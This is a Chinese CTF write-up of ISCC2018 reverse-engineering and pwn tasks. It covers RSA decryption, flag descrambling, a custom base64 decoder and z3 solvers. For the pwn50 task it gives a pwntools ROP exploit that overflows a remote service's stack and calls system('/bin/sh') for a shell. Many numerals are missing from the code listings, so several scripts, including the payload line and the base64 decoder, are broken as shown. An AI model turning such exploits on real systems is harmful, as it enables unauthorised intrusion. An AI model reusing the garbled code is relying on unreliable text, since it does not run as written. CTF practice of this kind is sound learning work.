Reference:L1B0

Re

RSA256

春秋欢乐赛原题。。flag都不变的
给了三个加密文件和公钥证书public.key,可以使用openssl进行处理

  1. $openssl rsa -pubin -text -modulus -in ./public.key
  2. Public-Key: ( bit)
  3. Modulus:
  4. :d9:9e::::a6:d9::df:c2::4a:ba::
  5. 5b:::d6:0a:7b:9e::0a:ff::1c::ec::
  6. d5::eb
  7. Exponent: (0x10001)
  8. Modulus=D99E952296A6D960DFC2504ABA545B9442D60A7B9E930AFF451C78EC55D555EB
  9. writing RSA key
  10. -----BEGIN PUBLIC KEY-----
  11. MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhANmelSKWptlg38JQSrpUW5RC1gp7npMK
  12. /0UceOxV1VXrAgMBAAE=
  13. -----END PUBLIC KEY-----

rsa参数中, Exponent=65537 即为 e 值 ,Modulus即为n
使用python解密即可

  1. #!/usr/bin/env python
  2. #coding:utf-8
  3. import gmpy2
  4. import rsa
  5. p = 302825536744096741518546212761194311477
  6. q = 325045504186436346209877301320131277983
  7. n = 98432079271513130981267919056149161631892822707167177858831841699521774310891
  8. e = 65537
  9. d = int(gmpy2.invert(e , (p-1) * (q-1)))
  10. privatekey = rsa.PrivateKey(n , e , d , p , q)
  11. with open("encrypted.message1" , "rb") as f:
  12. print(rsa.decrypt(f.read(), privatekey).decode())
  13. with open("encrypted.message2" , "rb") as f:
  14. print(rsa.decrypt(f.read(), privatekey).decode())
  15. with open("encrypted.message3" , "rb") as f:
  16. print(rsa.decrypt(f.read(), privatekey).decode())

结果

leftleftrightright

一个upx加壳的exe程序
脱壳后,能够在ida中发现疑似经过换位的flag:s_imsaplw_e_siishtnt{g_ialt}F
按照英文单词猜测,还是有一定几率能猜出正确的flag的。
程序去壳之后就不能运行了,根据学长指示,可以在winedbg中进行调试。但是系统自带的老版本wine会遇到很多错误,所以编译安装wine3.8

编译安装wine3.8

下载源码到用户目录
$tar Jxf wine-3.8.tar.xz
$cd wine-3.8/
$./configure --enable-win64
遇到一个错误error: no suitable bison found. Please install the 'bison' package.
$sudo apt-get install bison
又一个错误error: FreeType 64-bit development files not found. Fonts will not be built.
根据提示判断是和字体相关的包,试了几次一直处错误,索性暂时不安了影响应该不大
$./configure --enable-win64 --without-freetype
$make
$sudo make install

wine好像还有点问题,日后再说。。。
只要将断点下在比较函数部分,输入和flag等长的字符串,对比换位前后的变化,即可得到flag变化规则,将之前的字符串逆向变换即可得到flag
借用M4x大佬的图和代码说明

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. __Auther__ = 'M4x'
  4.  
  5. encrypt = "s_imsaplw_e_siishtnt{g_ialt}F"
  6. before = "abcdefghijklmnopqrstuvwxyzABC"
  7. after = "onpqmlrskjtuihvwgfxyedzAcbBCa"
  8. flag = [encrypt[after.find(c)] for c in before]
  9.  
  10. print "".join(flag)
  11.  
  12. #Flag{this_was_simple_isnt_it}

My math is bad

解方程类的题目,使用z3比较容易解决
详见z3学习档案

obfuscation and encode

程序逻辑可以说乱透了。。
输入的flag经过fencode和encode两个函数进行加密之后与lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq进行比较。
经过分析,encode部分是进行了三位变四位的操作
Result为最终比较结果,trans为flag经过fencode处理得到的串

  1. Reault[] = alpha[trans[] >> & 0x3f] == 'l'
  2. v11 =
  3. v10 =
  4. Reault[] = alpha[((trans[]>>)|*trans[]) & 0x3f] == 'U'
  5. Reault[] = alpha[((trans[]>>)|*trans[]) & 0x3f] == 'F'
  6. v12 =
  7. v24 =
  8. Reault[] = alpha[trans[]&0x3f] == 'B'

可以根据这一规律进行每四位进行爆破,trans
这是类base64,一般是更改替换表和偏移位数进行编码,所以可以通过改写base64标准解码代码,实现一步到位

这是改写的爱测试国赛的代码。

  1. # -*- coding: UTF- -*-
  2. table = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'
  3.  
  4. def decodeBase64(src):
  5. delPaddingTail = {: , : , : }
  6. value = ''
  7. n = src.count('=')
  8. sin = src[:len(src) - n]
  9. for c in sin:
  10. value += bin(table.find(c))[:].zfill().replace('0b', '')
  11. value = value[:len(value) - delPaddingTail[n]]
  12. print value
  13. middle = []
  14. for i in range(, len(value) + , ):
  15. middle.append(int(value[i-:i], ))
  16. output = middle
  17. print output
  18. return ''.join(map(chr, output))
  19.  
  20. res = decodeBase64("lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq")
  21. print res

得到trans

  1. [, , , , , , , , , , , , , , , , , , , , , , , ]

然后,我是通过暴力运行性加代码分析解决的fencode
写gdb脚本的方法倒是不错,程序汇编的0x4008c6和0x400906两行和生成trans有关


在调试的时候只要查看这两句就能看到操作数,其余的地方不用管
也能看到对24位flag,分成6组,每四位和m数组的对应位相乘求和再%127得到trans,同样可以使用z3进行求解。

  1. #!/usr/bin/env python
  2. # -*-coding=utf-8-*-
  3. from z3 import *
  4.  
  5. trans = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38]
  6. print len(trans)
  7. m = [2,2,4,-5,1,1,3,-3, -1, -2, -3, 4, -1, 0, -2,2]
  8. a = BitVec('a',64)
  9. b = BitVec('b',64)
  10. c = BitVec('c',64)
  11. d = BitVec('d',64)
  12.  
  13. for i in range(6):
  14. s = Solver()
  15. s.add((2 * a + 2 * b + 4 * c - 5 * d) & 0xff== trans[4 * i])
  16. s.add((a + b + 3 * c - 3 * d)& 0xff== trans[4*i+1])
  17. s.add((-1 * a - 2 * b -3 * c + 4 * d) & 0xff == trans[4 * i + 2])
  18. s.add(( -1 * a - 2 * c + 2 * d) & 0xff == trans[4 * i + 3])
  19. s.add(a<256)
  20. s.add(b<256)
  21. s.add(c<256)
  22. s.add(d<256)
  23. if s.check() == sat:
  24. print s.model()
  25. else :
  26. print s.check()
  27.  
  28. #[b = 108, a = 102, c = 97, d = 103]
  29. #[b = 100, a = 123, c = 79, d = 95]
  30. #[b = 48, a = 121, c = 85, d = 95]
  31. #[b = 78, a = 75, c = 111, d = 87]
  32. #[b = 48, a = 95, c = 73, d = 108]
  33. #[b = 109, a = 86, c = 63, d = 125]
  34.  
  35. f = [102,108,97,103,123,100,79,95,121,48,85,95,75,78,111,87,95,48,73,108,86,109,63,125]
  36. print map(chr,f)
  37. flag = ''
  38. for i in f:
  39. flag += chr(i)
  40. print flag

可以得到六组解,排好顺序转字符即可

Pwn

Login(pwn50)

思路

1.没有canary和PIE,在输入choice时存在栈溢出.并且有system函数。
2.账号密码在常字符串,且可以使用全局变量”cmd”存储写入字符串,可以在已知地址内存中输入”/bin/sh”
3.在程序中找到了pop rdi; ret,可以通过控制寄存器传参,溢出后调用system函数。

脚本

  1. #!/usr/bin/env python
  2. # -*-coding=utf-8-*-
  3. from pwn import *
  4. context.log_level = 'debug'
  5. # io = process('./pwn50')
  6. io = remote('47.104.16.75',9000)
  7. elf = ELF('./pwn50')
  8.  
  9. sys_addr = elf.plt['system']
  10. rdi_ret = 0x400b03
  11. cmd = 0x601100
  12. usr = 'admin'
  13. psd = 'T6OBSh2i'
  14.  
  15. io.recvuntil('name: ')
  16. io.sendline(usr)
  17. io.recvuntil('word: ')
  18. io.sendline(psd)
  19.  
  20. io.recvuntil('choice: ')
  21. io.send('1\n')
  22. io.recvuntil('and: ')
  23. io.send('/bin/sh\0\n')
  24. io.recvuntil('choice: ')
  25.  
  26. payload = '' * (0x50 + 0x8)
  27. payload += p64(rdi_ret) + p64(cmd)
  28. payload += p64(sys_addr)
  29. io.send(payload)
  30. io.interactive()
  31. # flag{welcome_to_iscc}

Write some paper(pwn3)

double free 的问题
参见Fastbin之double free

Happy hotel(pwn300)

LCTF原题?House of spirit
Hos分析)
以Pwnable spirited_away为例分析。

作者:辣鸡小谱尼


出处:http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

ISCC2018 Reverse & Pwn writeup的更多相关文章

  1. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  2. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  3. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  4. NepCTF pwn writeup

    上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...

  5. HGAME2021 week4 pwn writeup

    第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...

  6. HGAME2021 week3 pwn writeup

    一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...

  7. 2020ACTF pwn writeup

    为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...

  8. SWPUCTF 2019 pwn writeup

    来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...

  9. HGAME2021 week2 pwn writeup

    week2一共有4道pwn题 killerqueen 有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了. 第一次choose1的时候,可以输入0,泄 ...

随机推荐

  1. Iperf 网络性能测试

    1.iperf安装 1.1将iperf_PC.rar工具解压放在默认的盘目录下即可,无需安装 1.2安装iperf for android 2.06.apk"到手机端. adb instal ...

  2. Python 实现转堆排序算法原理及时间复杂度(多图解释)

    原创文章出自公众号:「码农富哥」,欢迎转载和关注,如转载请注明出处! 堆基本概念 堆排序是一个很重要的排序算法,它是高效率的排序算法,复杂度是O(nlogn),堆排序不仅是面试进场考的重点,而且在很多 ...

  3. Day7前端学习之路——多栏布局

    该文章主要讨论两栏布局和三栏布局,三栏布局包括很著名的圣杯布局和双飞翼布局 一.两栏布局的七种方法(左边固定,右边自适应) 原理: block水平元素宽度能够跟随父容器调节的流动特性,block级别的 ...

  4. Axer-使用Msfvenom自动创建有效负载的工具

    Axer-使用Msfvenom自动创建有效负载的工具 该axer将替换为有效的手动操作msfvenom,设置更容易和快了很多. AXER可以让您选择平台,格式,编码器,与另一个文件绑定以及许多其他功能 ...

  5. Mac启动MongoDB报错:exception in initAndListen: NonExistentPath: Data directory /data/db not found., terminating

    这是主要错误: initAndListen中的异常:NonExistentPath:找不到数据目录/ data / db. 最新版的Mac系统Catalina发生了令人惊讶的更改:它不允许更改根目录( ...

  6. ModbusTCP协议解析 —— 利用Wireshark对报文逐字节进行解析详细解析Modbus所含功能码

    现在网上有很多类似的文章.其实这一篇也借鉴了很多其他博主的文章. 写这篇文章的重点是在于解析功能和报文.对Modbus这个协议并不会做很多介绍. 好了,我们开始吧. 常用的功能码其实也没多少.我也就按 ...

  7. AndroidStudio报错:Emulator: I/O warning : failed to load external entity "file:/C:/Users/Administrator/.AndroidStudio3

    场景 在进行Android Studio的.Android Studio目录从C盘修改为其他目录后,新建App启动提示: Emulator: I/O warning : failed to load ...

  8. STM32之RGB灯仿真

    实验目的 点灯是练习GPIO输出的最佳实验.由于疫情期间没法返校,手头上没有现成的实验板,于是借助Proteus进行仿真.本实验点的不是普通的灯,而是RGB混色灯,实现多种颜色的显示.后期还可以加上P ...

  9. RPC远程过程调用(Remote Procedure Call)

    RPC,就是Remote Procedure Call,远程过程调用 远程过程调用,自然是相对于本地过程调用 本地过程调用,就好比你现在在家里,你要想洗碗,那你直接把碗放进洗碗机,打开洗碗机开关就可以 ...

  10. CSS的一些文本操作有哪些

    一.文本的对齐方式 text-align:center/left/right text-align:justify; font-style:normal/italic/oblique/inherit ...